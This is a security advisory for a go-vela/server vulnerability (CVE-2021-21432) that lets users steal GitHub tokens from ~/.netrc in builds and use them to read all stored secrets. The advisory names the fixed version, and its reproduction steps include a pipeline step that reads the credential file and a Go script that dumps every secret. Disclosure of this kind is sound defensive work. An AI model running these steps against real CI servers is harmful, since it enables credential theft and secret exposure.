Advisory

GHSA-8j3f-mhq8-gmh4

Also known as: CVE-2021-21432, GO-2022-0812

Summary

Reject unauthorized access with GitHub PATs

Details

Impact
_What kind of vulnerability is it? Who is impacted?_

The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Steps to reproduce

  1. Create Vela server
  2. Login to Vela UI
  3. Promote yourself to Vela administrator - UPDATE users SET admin = 't' WHERE name = <username>
  4. Activate repository within Vela
  5. Add .vela.yml to the repository with the following content

```yaml
version: "1"

steps:
- name: steal
image: alpine
commands:
- cat ~/.netrc
```

  1. Look at build logs to find the following content

```
$ cat ~/.netrc
machine <GITHUB URL>
login x-oauth-basic
password <token>
```

  1. Copy the password to be utilized in some later step
  2. Add secret(s) to activated repo
  3. Copy the following script into main.go

```golang
package main

import (
"fmt"
"github.com/go-vela/sdk-go/vela"
"os"
)

func main() {
// create client to connect to vela
client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil)
if err != nil {
panic(err)
}

// add PAT to request
client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN"))

secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{})
if err != nil {
panic(err)
}

for _, secret := range *secrets {
fmt.Println(*secret.Name)
fmt.Println(*secret.Value)
}
}
```

  1. Run the main.go with environment specific settings
  • VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go

The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.

Patches
_Has the problem been patched? What versions should users upgrade to?_

  • Upgrade to v0.7.5 or later

Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

  • No known workarounds

References
_Are there any links users can visit to find out more?_

  • https://github.com/go-vela/server/pull/246
  • https://docs.github.com/en/[email protected]/rest/reference/apps#check-a-token

For more information
If you have any questions or comments about this advisory

Severity

High Basis: The source's own band: HIGH

Dates

Published
2022-02-15 01:57 UTC
Modified
2026-07-08 06:28 UTC

Affected packages and fixes

github.com/go-vela/server

Go · All systems

Affected

  • introduced 0.7.0, fixed 0.7.5 (semver)

Fixed versions

0.7.5

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences